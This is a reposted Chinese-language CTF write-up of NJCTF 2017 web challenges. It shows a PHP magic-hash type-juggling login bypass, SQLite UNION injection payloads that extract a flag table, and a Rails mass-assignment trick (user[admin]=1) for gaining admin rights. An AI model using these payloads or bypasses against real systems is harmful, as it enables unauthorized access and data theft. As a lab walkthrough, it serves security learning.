NJCTF 2017 some web writeups

admin 2022年5月17日11:30:30评论51 views字数 1864阅读6分12秒阅读模式

Sqlite SQL Injection

Source Code

<?php
require_once "db.php";
$auth = 0;

if (isset($_COOKIE["auth"])) {
    $auth = $_COOKIE["auth"];
    $hsh = $_COOKIE["hsh"];
    if ($auth == $hsh) {
        $auth = 0;
    } else {
        if (sha1((string) $hsh) == md5((string) $auth)) {
            $auth = 1;
        } else {
            $auth = 0;
        }
    }
} else {
    $auth = 0;
    $s = $auth;
    setcookie("auth", $s);
    setcookie("hsh", sha1((string) $s));
}
if ($auth) {
    if (isset($_GET['query'])) {
        $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
        $qstr = SQLITE3::escapeString($_GET['query']);
        $query = "SELECT amount FROM my_wallets WHERE id={$qstr}";
        $result = $db->querySingle($query);
        if (!$result === NULL) {
            echo "Error - invalid query";
        } else {
            echo "Wallet contains: {$result}";
        }
    } else {
        echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
    }
} else {
    echo "Sorry, not authorized.";
}

First

我們需要繞過

sha1((string) $hsh) == md5((string) $auth

一個簡單的弱類型漏洞,只要md5和sha1密文為0exxx…即可

md5("QNKCDZO") == sha1("aaK1STfY")

平時注意收集

Next

$query = "SELECT amount FROM my_wallets WHERE id={$qstr}";

SQLITE3::escapeString過濾但無單引號的數值型注入

從數據庫找到所有表

-1 union select table_name from sqlite_master limit 1,1

發現flag表,查詢flag表的字段

-1 union select sql from sqlite_master limit 1,1

發現id類型為varchar(255),flag很有藏在其中

-1 union select id from flag limit 1,1

Finally

Payload

query=-1%20union%20select%20id%20from%20flag%20limit%201,1

Get it!

Ruby on Rails

也是源碼審計,然而是我不會的rb,即使如此我也是硬著頭皮往下看

大致瀏覽文件,在config/routes.rb中可以看到一些路由的定義

結合部署好的web網頁,不難找到其中的邏輯。

註冊了個賬號,各種操作,發現只有Profile以及Micropost可以寫入數據

然後發現./app/views/users/_user.html.erb中又

結合下一句<% if current_user.admin? && !current_user?(user) %>

可以判斷很有可能是越權,此處應該有flag

然後在./app/controllers/users_controller.rb可以看到

params.require(:user).permit(:name, :email, :password, :password_confirmation, :admin)

./app/views/users/edit.html.erb中沒有admin表單輸入

很明顯提交user[admin]=1即可成為管理員

然後再某個頁面就能看到一大波的flag~~

The end

隨便看看,隨便做做也就這樣了

FROM : virzz.com | Author:Virink

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日11:30:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   NJCTF 2017 some web writeupshttps://cn-sec.com/archives/1012977.html

发表评论

匿名网友 填写信息